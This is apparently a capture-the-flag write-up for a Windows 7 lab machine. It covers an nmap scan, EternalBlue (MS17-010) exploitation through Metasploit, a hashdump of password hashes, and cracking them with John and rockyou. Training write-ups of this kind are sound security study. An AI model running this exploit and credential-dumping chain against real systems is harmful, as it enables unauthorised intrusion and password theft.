Created alias for IP using alias blue.thm="10.10.84.x"
$ nmap -T4 -p- -A blue.thm
Nmap scan report for ip-10-10-84-143.eu-west-1.compute.internal (10.10.84.143)
Host is up (0.00050s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Jon-PC
| Not valid before: 2020-10-10T12:59:17
|_Not valid after: 2021-04-11T12:59:17
|_ssl-date: 2020-10-11T13:29:35+00:00; 0s from scanner time.
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
MAC Address: 02:78:B8:DD:80:7F (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=10/11%OT=135%CT=1%CU=36872%PV=Y%DS=1%DC=D%G=Y%M=0278B8
OS:%TM=5F8308C4%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=108%TI=I%CI=I%TS
OS:=7)SEQ(SP=104%GCD=1%ISR=108%TI=I%CI=RD%II=I%SS=S%TS=7)SEQ(SP=104%GCD=1%I
OS:SR=108%TI=I%II=I%SS=S%TS=7)OPS(O1=M2301NW8ST11%O2=M2301NW8ST11%O3=M2301N
OS:W8NNT11%O4=M2301NW8ST11%O5=M2301NW8ST11%O6=M2301ST11)WIN(W1=2000%W2=2000
OS:%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M2301NW8NNS%
OS:CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%
OS:A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%
OS:DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 1 hop
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:78:b8:dd:80:7f (unknown)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: Jon-PC
| NetBIOS computer name: JON-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-10-11T08:29:35-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-10-11 14:29:35
|_ start_date: 2020-10-11 13:59:15
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms ip-10-10-84-143.eu-west-1.compute.internal (10.10.84.143)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1701.57 seconds
2) How many ports are open with a port number under 1000?
3
3) What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
Considering SMB 2.02 version is used, this machineis vulnerable to Eternal Blue exploit (MS17-010)
Gain Access
1) Start Metasploit
msfconsole
2) Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
3) Show options and set the one required value. What is the name of this value? (All caps for submission)
show options
set RHOST blue.thm
4) Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
getuid
# NT AUTHORITY\SYSTEM
Escalate
Skipped 1-5 since already got NT Authority. Although can use post/multi/manage/shell_to_meterpreter module.
Skipping 6-8 since its asking to run commands to prove NT privilege
Cracking
Use hashdump on metepreter sheel to get hashes: (Placed on file named hashes)
1) Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
Jon
2) Copy this password hash to a file and research how to crack it. What is the cracked password?
Use John to Crack to crack NT hashes with rockyou.txt
sudo john --format=NT --rules -w=/usr/share/wordlists/rockyou.txt hashes
